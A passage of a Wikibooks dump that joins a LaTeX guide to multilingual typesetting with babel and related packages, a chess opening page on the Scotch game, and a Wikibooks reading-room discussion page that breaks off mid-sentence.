D^r |- |<code>1\ier{}, 1\iere{}, 1\ieres{}</code> |1^er, 1^re, 1^res |- |<code>2\ieme{} 4\iemes{}</code> |2^e 4^es |- |<code>\No 1, \no 2</code> |N° 1, n° 2 |- |<code>20~\degres C, 45\degres</code> |20 °C, 45° |- |<code>M. \bsc{Durand}</code> | M. <span style="font-variant: small-caps;">Durand</span> |- |<code>\nombre{1234,56789}</code> |1 234,567 89 |- |} You may want to typeset guillemets and other French characters directly if your keyboard has them. Running Xorg (*BSD and GNU/Linux), you may want to use the <code>oss</code> variant which features some nice shortcuts, like {| class="wikitable" !Key combination !Character |- |<code>Alt Gr + w</code> || « |- |<code>Alt Gr + x</code> || » |- |<code>Alt Gr + Shift + é</code> || É |- |<code>Alt Gr + Shift + è</code> || È |- |<code>Alt Gr + Shift + ç</code> || Ç |- |} You will need the T1 font encoding for guillemets to print properly. For the degree character you will get an error like ! Package inputenc Error: Unicode char \u8:° not set up for use with LaTeX. The {{LaTeX/Package|textcomp}} package will fix it for you. The great advantage of Babel for French is that it will handle some elements of French typography for you, especially non-breaking spaces before all two-parts punctuation marks. So now you can write: {{LaTeX/Usage|code= Il répondit: «Ce pain coûte-t-il 2~€?» }} The non-breaking space before the euro symbol is still necessary because currency symbols and other units or not supported in general (that's not specific to French). You can use the {{LaTeX/Package|numprint}} package along Babel. It will let you print numbers the French way. {{LaTeX/Example|code= \usepackage[french]{babel} \usepackage[autolanguage]{numprint} % Must be loaded *after* babel. % ... \nombre{123456.123456 e-17} |render= <math>123~456,123~456\cdot 10^{-17}</math> }} You will also notice that the layout of lists changes when switching to the French language. This is customizable using the {{LaTeX/LaTeX|code=\frenchsetup<!---->}} command. For more information on what the {{LaTeX/Parameter|french}} option of {{LaTeX/Package|babel}} does and how you can customize its behavior, run LaTeX on file <code>frenchb.dtx</code> and read the produced file <code>frenchb.pdf</code> or <code>frenchb.dvi</code>. You can get the PDF version on [http://mirrors.ctan.org/macros/latex/contrib/babel-contrib/frenchb/frenchb.pdf CTAN]. === German === You can load German language support using ''either one'' of the two following commands (pdfTeX, XeTeX and LuaTeX are supported). For traditional ("old") German orthography use {{LaTeX/Usage|code= \usepackage[german]{babel} }} '''or''' for reform ("new") German orthography use {{LaTeX/Usage|code= \usepackage[ngerman]{babel} }} This enables German hyphenation, if you have configured your LaTeX system accordingly. It also changes all automatic text into German, e.g. “Chapter” becomes “Kapitel”. A set of new commands also becomes available, which allows you to write German input files more quickly even when you don't use the inputenc package. Check out the table below for inspiration. With inputenc, all this becomes moot, but your text also is locked in a particular encoding world. {| class="wikitable" |+German Special Characters. |- |<code>"A "O "U</code> || Ä Ö Ü |- |<code>"a "o "u "s</code> || ä ö ü ß |- |<code>"`</code> or <code>\glqq</code> || „ |- |<code>"'</code> or <code>\grqq</code> || “ |- |<code>\glq \grq</code> || |- |<code>"<</code> or <code>\flqq</code> || « |- |<code>"></code> or <code>\frqq</code> || » |- |<code>\flq \frq</code> || ‹ › |- |<code>\dq</code> || " |- |} In German books you sometimes find French quotation marks («guillemets»). German typesetters, however, use them differently. A quote in a German book would look like »this«. In the German speaking part of Switzerland, typesetters use «guillemets» the same way the French do. A major problem arises from the use of commands like {{LaTeX/LaTeX|code=\flq<!---->}}: If you use the OT1 font encoding (which is the default) the guillemets will look like the math symbol "<math>\ll</math>", which turns a typesetter's stomach. T1 encoded fonts, on the other hand, do contain the required symbols. So if you are using this type of quote, make sure you use the T1 encoding. Decimal numbers usually have to be written like <code>0{,}5</code> (not just 0,5). Packages like <code>ziffer</code> enable input like <code>0,5</code>. Alternatively, one can use the {{LaTeX/LaTeX|code=\num<!---->}} command from the {{LaTeX/Package|babel}} and (globally) set the decimal marker using {{LaTeX/Example|code= \usepackage[output-decimal-marker={,}]{siunitx} % ... \num{0,5} |render= <math>0{,}5</math> }} With the transform ‘longs.unifraktur’ (only available in Babel + LuaLaTeX) a set heuristic rules for the long s (ſ) are provided. Mainly intended for Fraktur fonts. === Greek === This is the preamble you need to write in the Greek language. {{LaTeX/Usage|code= \usepackage[greek]{babel} }} This preamble enables hyphenation and changes all automatic text to Greek. A set of new commands also becomes available, which allows you to write Greek input files more easily. Modern Monotonic Greek, as well as Polytonic and Ancient Greek are supported. If you need a language in the Latin script and you are using LuaTeX, you can switch automatically the font in the following way, with no explicit markup: {{LaTeX/Usage|code= \documentclass{book} \usepackage[portuguese, greek]{babel} \babelprovide[onchar=ids fonts]{portuguese} \babelfont{rm}{FreeSerif} \babelfont[portuguese]{rm}{DejaVu Sans} \begin{document} abelha -- μελισσα \end{document} }} There is a dedicated package for XeTeX named xgreek. === Hungarian === Use the following lines: {{LaTeX/Usage|code= \usepackage[magyar]{babel} }} More information [http://www.math.bme.hu/latex/ in hungarian]. === Icelandic and Faroese === The following lines can be added to write Icelandic text: {{LaTeX/Usage|code= \usepackage[icelandic]{babel} }} This changes text like ''Part'' into ''Hluti''. It makes additional commands available: {| class="wikitable" |+Icelandic special commands |- |<code>"`</code> or <code>\glqq</code> || „ |- |<code>\grqq</code> || “ |- |<code>\TH</code> || Þ |- |<code>\th</code> || þ |- |<code>\DH</code> || Ð |- |<code>\dh</code> || ð |- |} To make special characters such as Þ and Æ become available just add: {{LaTeX/Usage|code= \usepackage[T1]{fontenc} }} The default LATEX font encoding is OT1, but it contains only the 128 characters. The T1 encoding contains letters and punctuation characters for most of the European languages using Latin script. === Italian === Italian is well supported by LaTeX. Just add {{LaTeX/Usage|code= \usepackage[italian]{babel} }} at the beginning of your document and the output of all the commands will be translated properly. === Norwegian === Norwegian is well supported by LaTeX. Just add {{LaTeX/Usage|code= \usepackage[norsk]{babel} }} at the beginning of your document and the output of all the commands will be translated properly. === Japanese === ==== jlreq ==== The [https://github.com/abenori/jlreq package] provides the class file and JFM (Japanese font metric) files for LuaTeX-ja / pLaTeX / upLaTeX. This aims to implement [https://www.w3.org/TR/jlreq/?lang=en Requirements for Japanese Text Layout]. ==== upTeX, pTeX ==== There is a variant of TeX intended for Japanese named [https://texwiki.texjp.org/?upTeX%2CupLaTeX upTeX], which supports vertical typesetting. ==== luatexja ==== Another possible way to write in japanese is to use Lualatex and the {{LaTeX/Package|luatex-ja}} package. Adapted example from the Luatexja documentation : {{LaTeX/Usage|code= \documentclass{ltjsarticle} \usepackage{luatexja} % This line is unnecessary when using ltjclasses or ltjsclasses. \begin{document} \section{はじめてのLua\TeX-ja} ちゃんと日本語が出るかな？ \subsection{出たかな？} 長い文章を入力するとちゃんと右端のところで折り返されるかな？ 大丈夫そうな気がするけど．ちょっと不安だけど何事も挑戦だよね． \end{document} }} You can also use capabilities provided by the fontspec package and those provided by luatexja-fontspec to declare the font you want to use in your paper. Let us take an example: {{LaTeX/Usage|code= % ********************************** % Basic setup \documentclass[10pt,a4paper]{article} \usepackage{fontspec} \setmainfont[Numbers={OldStyle,Proportional}]{Arno Pro} %setup of western font \usepackage{luatexja} \usepackage{luatexja-fontspec}%needed to call \setmainjfont bellow \setmainjfont[BoldFont=KozGoPr6N-Bold]{KozGoPr6N-Regular} %setup of japanese font %*********************************** \begin{document} It is a test to show japanese and english mix. テスト中です。どうですか皆さん。 \end{document} }} Use UTF-8 as your encoding. In case you don't know how to do this, take a look at Texmaker, a LaTeX editor which uses UTF-8 by default. luatex-ja can collaborate with babel. For example: {{LaTeX/Usage|code= \documentclass{ltjbook} \usepackage[ngerman,japanese]{babel} }} For short Japanese texts (a few words or a few paragraphs) in a document in another language, babel (≥3.31) with luatex could be enough; eg: {{LaTeX/Usage|code= \usepackage[ngerman]{babel} \babelprovide[import]{japanese} \babelfont[japanese]{rm}{IPAMincho} }} For {{LaTeX/Package|hyperref}} package to show the Table of Contents correctly, the encoding has to be explicitly specified. {{LaTeX/Usage|code= \usepackage[unicode=true]{hyperref} }} ==== CJK, XeCJK, bxcjkjatype ==== Another (but old) possible Japanese support is made available thanks to the {{LaTeX/Package|CJK}} or {{LaTeX/Package|XeCJK}} package collection. If you are using a package manager or a portage tree, the CJK collection is usually in a separate package because of its size (mainly due to fonts). Make sure your document is saved using the UTF-8 character encoding. See [[LaTeX/Special Characters|Special Characters]] for more details. Put the parts where you want to write japanese characters in a {{LaTeX/Environment|CJK}} environment. {{LaTeX/Usage|code= \documentclass{article} \usepackage{CJK} \begin{document} \begin{CJK}{UTF8}{min} こんにちは You can mix latin letters as well as hiragana, katakana and kanji. \end{CJK} \end{document} }} The last argument specifies the font. It must fit the desired language, since fonts are different for Chinese, Japanese and Korean. {{LaTeX/Parameter|min}} is an example for Japanese. The {{LaTeX/Package|bxcjkjatype}} pack­age pro­vides a work­ing con­fig­u­ra­tion of the CJK pack­age, suit­able for Ja­panese type­set­ting of mod­er­ate qual­ity. More­over, it fa­cil­i­tates use of the CJK pack­age for pLATEX users, by pro­vid­ing com­mands that are sim­i­lar to those used by the pLATEX ker­nel and some other pack­ages used with it. {{LaTeX/Usage|code= \documentclass[pdflatex,ja=standard]{bxjsarticle} \begin{document} 吾輩は猫である。名前はまだ無い。 どこで生れたかとんと見当がつかぬ。 何でも薄暗いじめじめした所で ニャーニャー泣いていた事だけは記憶している。 吾輩はここで始めて人間というものを見た。 \end{document} }} === Korean === The two most widely used encodings for Korean text files are EUC-KR and its upward compatible extension used in Korean MS-Windows, CP949/Windows-949/UHC. In these encodings each US-ASCII character represents its normal ASCII character similar to other ASCII compatible encodings such as ISO-8859-x, EUC-JP, Big5, or Shift_JIS. On the other hand, Hangul syllables, Hanjas (Chinese characters as used in Korea), Hangul Jamos, Hiraganas, Katakanas, Greek and Cyrillic characters and other symbols and letters drawn from KS X 1001 are represented by two consecutive octets. The first has its MSB set. Until the mid-1990's, it took a considerable amount of time and effort to set up a Korean-capable environment under a non-localized (non-Korean) operating system. You can skim through the now much-outdated http://jshin.net/faq to get a glimpse of what it was like to use Korean under non-Korean OS in mid-1990's. TeX and LaTeX were originally written for scripts with no more than 256 characters in their alphabet. To make them work for languages with considerably more characters such as Korean or Chinese, a subfont mechanism was developed. It divides a single CJK font with thousands or tens of thousands of glyphs into a set of subfonts with 256 glyphs each. For Korean, there are three widely used packages. * HLATEX by UN Koaunghi * hLATEXp by CHA Jaechoon * the CJK package by Werner Lemberg HLATEX and hLATEXp are specific to Korean and provide Korean localization on top of the font support. They both can process Korean input text files encoded in EUC-KR. HLATEX can even process input files encoded in CP949/Windows-949/UHC and UTF-8 when used along with Λ, Ω. The CJK package is not specific to Korean. It can process input files in UTF-8 as well as in various CJK encodings including EUC-KR and CP949/Windows-949/UHC, it can be used to typeset documents with multilingual content (especially Chinese, Japanese and Korean). The CJK package has no Korean localization such as the one offered by HLATEX and it does not come with as many special Korean fonts as HLATEX. The ultimate purpose of using typesetting programs like TeX and LaTeX is to get documents typeset in an ''aesthetically'' satisfying way. Arguably the most important element in typesetting is a set of welldesigned fonts. The HLATEX distribution includes UHC PostScript fonts of 10 different families and Munhwabu fonts (TrueType) of 5 different families. The CJK package works with a set of fonts used by earlier versions of HLATEX and it can use Bitstream's cyberbit True-Type font. To use the HLATEX package for typesetting your Korean text, put the following declaration into the preamble of your document: {{LaTeX/Usage|code= \usepackage{hangul} }} This command turns the Korean localization on. The headings of chapters, sections, subsections, table of content and table of figures are all translated into Korean and the formatting of the document is changed to follow Korean conventions. The package also provides automatic ''particle selection''. In Korean, there are pairs of post-fix particles grammatically equivalent but different in form. Which of any given pair is correct depends on whether the preceding syllable ends with a vowel or a consonant. (It is a bit more complex than this, but this should give you a good picture.) Native Korean speakers have no problem picking the right particle, but it cannot be determined which particle to use for references and other automatic text that will change while you edit the document. It takes a painstaking effort to place appropriate particles manually every time you add/remove references or simply shuffle parts of your document around. HLATEX relieves its users from this boring and error-prone process. In case you don't need Korean localization features but just want to typeset Korean text, you can put the following line in the preamble, instead. {{LaTeX/Usage|code= \usepackage{hfont} }} For more details on typesetting Korean with HLATEX, refer to the HLATEX Guide. Check out the web site of the [http://www.ktug.or.kr/ Korean TeX User Group (KTUG)]. In the FAQ section of KTUG it is recommended to use the kotex package {{LaTeX/Usage|code= \usepackage{kotex} }} ===Persian script=== For Persian language, there is a dedicated package called XePersian which uses XeLaTeX as the typesetting engine. Just add the following code to your preamble: {{LaTeX/Usage|code= \usepackage{xepersian} }} See [http://www.ctan.org/tex-archive/macros/xetex/latex/xepersian/ XePersian page on CTAN] Moreover, Arabic script can be used to type Persian as illustrated in the [[#Arabic script|corresponding section]]. === Polish === If you plan to use Polish in your encoded document, use the following code: {{LaTeX/Usage|code= \usepackage{polski} \usepackage[polish]{babel} }} The above code merely allows to use Polish letters and translates the automatic text to Polish, so that "chapter" becomes "rozdział". There are a few additional things one must remember about. ==== Connectives ==== Polish has many single letter connectives: "a", "o", "w", "i", "u", "z", etc., grammar and typography rules don't allow for them to end a printed line. To ensure that LaTeX won't set them as last letter in the line, you have to use non breakable space: {{LaTeX/Usage|code= Noc była sierpniowa, ciepła i~słodka, Księżyc oświecał srebrnem światłem wgłębienie, tak, że twarze małego rycerza i~Basi były skąpane w blasku. Poniżej, na podwórzu zamkowem, widać było uśpione kupy żołnierzy, a~także i~ciała zabitych podczas dziennej strzelaniny, bo nie znaleziono dotąd czasu na ich pogrzebanie. }} Babel (>=3.58) with LuaTeX provides a transform for this purpose, without explicit markup, which is activated with: {{LaTeX/Usage|code= \babelprovide[transforms = oneletter.nobreak]{polish} }} ==== Numerals ==== According to Polish grammar rules, you have to put dots after numerals in chapter, section, subsection, etc. headers. This is achieved by redefining few LaTeX macros. For books: {{LaTeX/Usage|code= \renewcommand\thechapter{\arabic{chapter}.} \renewcommand\thesection{\arabic{chapter}.\arabic{section}.} \renewcommand\thesubsection{\arabic{chapter}.\arabic{section}.\arabic{subsection}.} \renewcommand\thesubsubsection{\arabic{chapter}.\arabic{section}.\arabic{subsection}.\arabic{subsubsection}.} }} For articles: {{LaTeX/Usage|code= \renewcommand\thesection{\arabic{section}.} \renewcommand\thesubsection{\arabic{section}.\arabic{subsection}.} \renewcommand\thesubsubsection{\arabic{section}.\arabic{subsection}.\arabic{subsubsection}.} }} Alternatively you can use dedicated document classes: * the {{LaTeX/Environment|mwart}} class instead of {{LaTeX/Environment|article}}, * {{LaTeX/Environment|mwbk}} instead of {{LaTeX/Environment|book}} * and {{LaTeX/Environment|mwrep}} instead of {{LaTeX/Environment|report}}. Those classes have much more European typography settings but ''do not'' require the use of Polish babel settings or character encoding. Simple usage: {{LaTeX/Usage|code= \documentclass{mwart} \usepackage[polish]{babel} \usepackage{polski} \begin{document} Pójdź kińże tę chmurność w głąb flaszy. \end{document} }} Full documentation for those classes is available at http://web.archive.org/web/20040609034031/http://www.ci.pwr.wroc.pl/~pmazur/LaTeX/mwclsdoc.pdf (Polish). ==== Indentation ==== It may be customary (depending on publisher) to indent the first paragraph in sections and chapters: {{LaTeX/Usage|code= \usepackage{indentfirst} }} ==== Hyphenation and typography ==== It's much more frowned upon to set pages with hyphenation between pages than it is customary in American typesetting. To adjust penalties for hyphenation spanning pages, use this command: {{LaTeX/Usage|code= \brokenpenalty=1000 }} To adjust penalties for leaving widows and orphans (clubs in TeX nomenclature) use those commands: {{LaTeX/Usage|code= \clubpenalty=1000 \widowpenalty=1000 }} ==== Commas in math ==== According to some typography rules, fractional parts of numbers should be delimited by a comma, not a dot. To make LaTeX not insert additional space in math mode after a comma (unless there is a space after the comma), use the {{LaTeX/Package|icomma}} package. {{LaTeX/Usage|code= \usepackage{icomma} }} Unfortunately, it is partially incompatible with the {{LaTeX/Package|dcolumn}} package. One needs to either use dots in columns with numerical data in the source file and make {{LaTeX/Package|dcolumn}} switch them to commas for display ''or'' define the column as follows: {{LaTeX/Usage|code= \begin{tabular}{... D{,}{\mathord\mathcomma}{2} ...} }} The alternative is to use the {{LaTeX/Package|numprint}} package, but it is much less convenient. Another alternative is using package {{LaTeX/Package|siunitx}} that lets you typeset numbers and their according units consistently. Number alignment in tables and different output modes re supported. ==== Further information ==== Refer the [http://so.pwn.pl/zasady.php Słownik Ortograficzny] (in Polish) for additional information on Polish grammar and typography rules. Good extract is available at [http://dtp.msstudio.com.pl/typo.html Zasady Typograficzne Składania Tekstu] (in Polish). === Portuguese === Add the following code to your preamble: {{LaTeX/Usage|code= \usepackage[portuguese]{babel} }} You can substitute the language for brazilian portuguese by choosing {{LaTeX/Parameter|brazilian}} or {{LaTeX/Parameter|brazil}}. === Slovak === Basic settings are fine when left the same as Czech, but Slovak needs special signs for 'ď', 'ť', 'ľ'. To be able to type them from keyboard use the following settings: {{LaTeX/Usage|code= \usepackage[slovak]{babel} \usepackage[T1]{fontenc} }} === Spanish === Include the appropriate Babel option: {{LaTeX/Usage|code= \usepackage[spanish]{babel} }} The trick is that Spanish has several options and commands to control the layout. The options may be loaded either at the call to Babel, or before, by defining the command {{LaTeX/LaTeX|code=\spanishoptions<!---->}}. Therefore, the following commands are roughly equivalent: {{LaTeX/Usage|code= \def\spanishoptions{mexico} \usepackage[spanish]{babel} }} {{LaTeX/Usage|code= \usepackage[spanish,mexico]{babel} }} On average, the former syntax should be preferred, as the latter is not recognized by some programs (LyX, latex2rtf) interacting with LaTeX. Spanish also defines shorthands for the dot and << >> so that they are used as logical markup: the former is used as decimal marker in math mode, and the output is typically either a comma or a dot; the latter is used for quoted text, and the output is typically either «» or “”. This allows different typographical conventions with the same input, as preferences may be quite different from, say, Spain and Mexico. Two particularly useful options are {{LaTeX/Parameter|es-noquoting,es-nolists}}: some packages and classes are known to collide with Spanish in the way they handle active characters, and these options disable the internal workings of Spanish to allow you to overcome these common pitfalls. Moreover, these options may simplify the way LyX customizes some features of the Spanish layout from inside the GUI. The options {{LaTeX/Parameter|mexico,mexico-com}} provide support for local custom in Mexico: the former using decimal dot, as customary, and the latter allowing decimal comma, as formerly required by the Mexican Official Norm (NOM) of the Secretariat of Economy for labels in foods and goods. More localizations are in the making. The other commands modify the Spanish layout after loading Babel. Two particularly useful commands are {{LaTeX/LaTeX|code=\spanishoperators<!---->}} and {{LaTeX/LaTeX|code=\spanishdeactivate<!---->}}. The macro {{LaTeX/LaTeX|code=\spanishoperators{<list of operators>}{<!---->}} contains a list of spanish mathematical operators, and may be redefined at will. For instance, the command {{LaTeX/Usage|code= \def\spanishoperators{sen} }} only defines {{LaTeX/Parameter|sen}}, overriding all other definitions; the command {{LaTeX/LaTeX|code=\let\spanishoperators\relax<!---->}} disables them all. This command supports accented or spaced operators: the {{LaTeX/LaTeX|code=\acute{<letter>}<!---->}} command puts an accent, and the {{LaTeX/LaTeX|code=\,<!---->}} command adds a small space. For instance, the following operators are defined by default. {{LaTeX/Usage|code= l\acute{i}m l\acute{i}m\,sup l\acute{i}m\,inf m\acute{a}x \acute{i}nf m\acute{i}n sen tg arc\,sen arc\,cos arc\,tg cotg cosec senh tgh }} Finally, the macro {{LaTeX/LaTeX|code=\spanishdeactivate{<list of characters>}<!---->}} disables some active characters, to keep you out of trouble if they are redefined by other packages. The candidates for deactivation are the set {<>."'}. Please, beware that some option preempt the availability of some active characters. In particular, you should not combine the {{LaTeX/Parameter|es-noquoting}} option with {{LaTeX/LaTeX|code=\spanishdeactivate{<>}<!---->}}, or the {{LaTeX/Parameter|es-noshorthands}} with {{LaTeX/LaTeX|code=\spanishdeactivate{<>."}<!---->}}. Please check the documentation for Babel or <code>spanish.dtx</code> for further details. === Thai === Both babel (luatex and xetex) and polyglossia (only xetex) support Thai. Word division in luatex is based on the standard hyphenation mechanism, so that patterns can be modified with <code>\babelpatterns</code>, while xetex relies on its own built-in mechanism. In pdftex you need an external tool for word segmentation (like swath). An example with babel (luatex and xetex) is: {{LaTeX/Usage|code= \documentclass{book} \usepackage{babel} \babelprovide[main, import]{thai} \babelfont{rm}{FreeSerif} \begin{document} ปัจจุบันข้าวและพริกเป็นส่วนประกอบสำคัญที่สุดของอาหารไทย \end{document} }} === Tibetan === One option to use Tibetan script in LaTeX is to add {{LaTeX/Usage|code= \usepackage{ctib} }} to your preamble and use a slightly modified Wylie transliteration for input. Refer to the excellent package documentation for details. More information can be found on [http://www.thlib.org/tools/scripts/wiki/latex.html] There is some tentative support for justification with trailing ''tshegs'' (only available in Babal + LuaLaTeX).[https://latex3.github.io/babel/news/whats-new-in-babel-3.81.html] === Vietnamese === The following preamble could be used to directly type Vietnamese (xetex or luatex). {{LaTeX/Usage|code= \documentclass{article} \usepackage{fontspec}% \setmainfont[Ligatures=TeX]{Linux Libertine O} }} For a document written in this language: {{LaTeX/Usage|code= \documentclass{article} \usepackage[vietnamese]{babel} }} ==References== <references/> <noinclude> {{LaTeX/Bottom|Special Characters|Rotations}} </noinclude> 7ymx7v2s3axjk61qy1qt8m7aku644g8 0 101287 4670707 4606047 2026-09-17T20:15:37Z GreenOpposite 3626196 Added missing "in" 4670707 wikitext text/x-wiki {{Chess Opening Theory/Position |Scotch game |eco=[[Chess/ECOC|C44]] |parent=[[../|Scotch game]] |responses= }} == 3...exd4 == Black takes the pawn in the centre. [[/4. Nxd4|'''4. Nxd4''']], recapturing the pawn, is the main line. White centralises their knight, supported by their queen. Black has a chance to take the initiative and develop with tempo, attacking White's centre with 4...Bc5 or 4...Nf6. Alternatively, White can gambit the pawn and not recapture it: [[/4. Bc4|'''4. Bc4''']] is the '''Scotch Gambit'''. White leaves the pawn in peace and tries to establish attacking pressure with a lead in development. [[/4. c3|'''4. c3''']] is the '''Göring Gambit'''. Similar to the [[Chess/Danish Gambit|Danish gambit]], White offers one or two further pawns to get a lead in development. [[/4. Ng5|'''4. Ng5?''']] is a trap line, the idea being to sacrifice the knight on f7 to lure out Black's king. It is dubious and can be disarmed by best play, but scores well in amateur databases. 4...h6 5. Nxf7 Kxf7 6. Bc4+ and Black must avoid 6...Ke8??, else 7. Qh5+ leads to forced mate. ==Theory table== {{ChessTable}} '''1. e4 e5 2. Nf3 Nc6 3. d4 exd4''' <table border="0" cellspacing="0" cellpadding="4"> <tr> <th></th> <th align="left">4</th> </tr> <tr> <th align="right">'''Main line'''</th> <td>[[/4. Nxd4|Nxd4]]<br>-</td> <td>=</td> </tr> <tr> <th align="right">'''Scotch Gambit'''</th> <td>[[/4. Bc4|Bc4]]<br>-</td> <td>=</td> </tr> <tr> <th align="right">'''Göring Gambit'''</th> <td>[[/4. c3|c3]]<br>d5</td> <td>=</td> </tr> </table> {{ChessMid}} ==References== {{reflist}} {{BCO2}} {{Chess Opening Theory/Footer}} ezdakmhaz68zvnaghlvn527gl8fm0x5 4 112405 4670679 4670446 2026-09-17T14:49:51Z Trizek (WMF) 2375179 /* Wishlist 2027, invitation to share feedback */ Reply 4670679 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{Shortcut|WB:CHAT|WB:RR/G|WB:GENERAL}} {{TOC left|limit=3}} {{User:MiszaBot/config |archive = Wikibooks:Reading room/Archives/%(year)d/%(monthname)s |algo = old(60d) |counter = 1 |minthreadstoarchive = 1 |minthreadsleft = 1 |key = 7a0ac23cf8049e4d9ff70cabb5649d1a }} Welcome to the '''General reading room'''. On this page, Wikibookians are free to talk about the Wikibooks project in general. For proposals for improving Wikibooks, see the [[../Proposals/]] reading room. {{clear}} [[Category:Reading room]] == Request for comment (the future of Abstract Wikipedia) == <bdi lang="en" dir="ltr" class="mw-content-ltr">You are invited to voice your opinions in a [[:m:Requests for comment/The future of Abstract Wikipedia|request for comment about the future of Abstract Wikipedia]]. {{Int:Feedback-thanks-title}} [[:m:User:Kowal2701|Kowal2701]] ([[:m:User talk:Kowal2701|talk]]) 12:24, 24 July 2026 (UTC)</bdi> <!-- Message sent by User:DreamRimmer@metawiki using the list at https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&oldid=30513860 --> == Call for administrators == Any experienced editor who has a good understanding of Wikibooks' policies should consider applying for administrator permissions at [[Wikibooks:Requests for permissions]]. Thank you. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 22:10, 5 August 2026 (UTC) :Is there a page here that describes what admins do? I am curious because I checked [https://en.wikibooks.org/wiki/Special:ListUsers?username=&group=sysop&wpsubmit=&wpFormIdentifier=mw-listusers-form&limit=50 List of admins] and I see that there are already quite a few admins here and wonder which areas have a shortage. :Just curious. [[Special:Contributions/~2026-40500-29|~2026-40500-29]] ([[User talk:~2026-40500-29|talk]]) 00:56, 16 September 2026 (UTC) ::[[Wikibooks:Administrators]]. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 01:09, 16 September 2026 (UTC) == August 2026 Wikimedia Café meetups regarding [https://meta.wikimedia.org/wiki/Next_25 Next 25] == <div class="border-box" style="background-color: var(--background-color-warning-subtle, #f8eaba); max-width: 875px; padding: 5px; border: 1px solid black; margin: 5px; color: var(--clr-dark)"> <div class="box" style="float:left; padding-top: 10px; padding-right: 10px; padding-left: 10px; padding-bottom: 10px;">[[File:Wikimedia Café logo in plain SVG format.svg|60px|alt=The logo for the Wikimedia Café]]</div> Hello! There will be two '''[https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9 Wikimedia Café]''' discussion opportunities in August. Both sessions will focus on [https://meta.wikimedia.org/wiki/Next_25 the Next 25 initiative], including [https://meta.wikimedia.org/wiki/Next_25/A_proposal_to_frame_Next_25 framing the initiative]. Participants may attend either or both Café sessions. #'''29 August 2026 15:00 UTC''' ([https://zonestamp.toolforge.org/1788015600 timestamp converter]), at a time friendly to the Americas, Africa, and Europe #'''30 August 2026 03:00 UTC''' ([https://zonestamp.toolforge.org/1788058800 timestamp converter]), at a time friendly to Asia and the Pacific Please see the [https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9 Café] page for more information, including [https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9#Agenda._This_will_be_an_approximately_1_hour_Caf%C3%A9_session agenda details] and [https://meta.wikimedia.org/wiki/Wikimedia_Caf%C3%A9#How_to_attend_the_session how to register]! To subscribe or unsubscribe for Café notices on your talk page please [https://meta.wikimedia.org/wiki/Global_message_delivery/Targets/Wikimedia_Caf%C3%A9 go here]. <br /> [[File:Buntstifte Eberhard Faber crop 64h.jpg|860px|alt=cropped image of colored pencils]]</div> <span style="white-space:nowrap;">[[User:Pine|<span style="color:#01796f; text-shadow:#00BFFF 0 0 1.0em">༄ᨒ𖠰 Pine</span>]] [[User talk:Pine|<span style="color:DeepSkyBlue">(<b style="color:#FFDF00;text-shadow:#FFDF00 0 0 1.0em">✉</b>)</span>]]</span> 01:32, 17 August 2026 (UTC) == Wikibooks project is not defined by goal == If it is for texbooks why is it called Wikibooks? It should be called Wikitextbooks! If it is for textbooks why does it contain cookbooks? For textbooks it's not supposed to have a [[Wikibooks:Featured books]]. [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 09:20, 1 September 2026 (UTC) :It's "textbooks" broadly construed: guides, manuals, how-tos, etc. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:15, 1 September 2026 (UTC) ::So we should change "Wikibooks:Featured books" to "Wikibooks:Featured texts". [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 11:17, 1 September 2026 (UTC) :::I disagree and even if I agreed, it would be priority #49,389. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 11:20, 1 September 2026 (UTC) ::::It's according to community consensus that says this website contains textbooks not books. [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 11:23, 1 September 2026 (UTC) :::::"[[wb:WIW|Simply, Wikibooks is a collection of open-content textbooks.]]" [[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 11:26, 1 September 2026 (UTC) :Most textbooks are made by collaboration of some authors, co-authors and editors. Wikibooks help pages and guidelines remain silent when it comes to stages of writing a new texbooks. Even [[Using Wikibooks]] is not complete emough for enthusiasts. --[[User:Vivairan2|Vivairan2]] ([[User talk:Vivairan2|discuss]] • [[Special:Contributions/Vivairan2|contribs]]) 18:13, 3 September 2026 (UTC) == Wishlist 2027, invitation to share feedback == Hi, I’m [[m:User:SPerry-WMF|Sonja]] and I lead some of the [[mw:Contributors|teams]] at the Foundation who will be responsible for picking up wish work under the new wishlist process. As you may know, the [[m:Community_Wishlist|Community Wishlist]] started out as an annual process through which Wikimedia contributors submit and vote on technical improvements they would like the Wikimedia Foundation to work on. The main goal of it is and has been to improve the editing experience by making changes and features the community asks for specifically. In recent years, the process behind the wishlist has changed, and we’ve heard from many of you that it no longer meets many community members’ needs. So now, the Foundation is designing a new process with the community to improve how wishes are triaged, voted on, and prioritized in a way that is transparent, balanced across project families and language editions, and takes into account what the Foundation can deliver. I would like to get community input specifically on these three stages of the Wishlist process: * The [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#triage|'''triage stage''']], meaning how wishes are fleshed out, organized and filtered prior to voting ** We recommend to have a working group, including volunteers from various wikis and Wikimedia Foundation staff to work through this together * The [[m:Special:MyLanguage/Community_Wishlist/Community_Wishlist_2027#vote|'''voting stage''']], including who may vote and how votes are structured * The 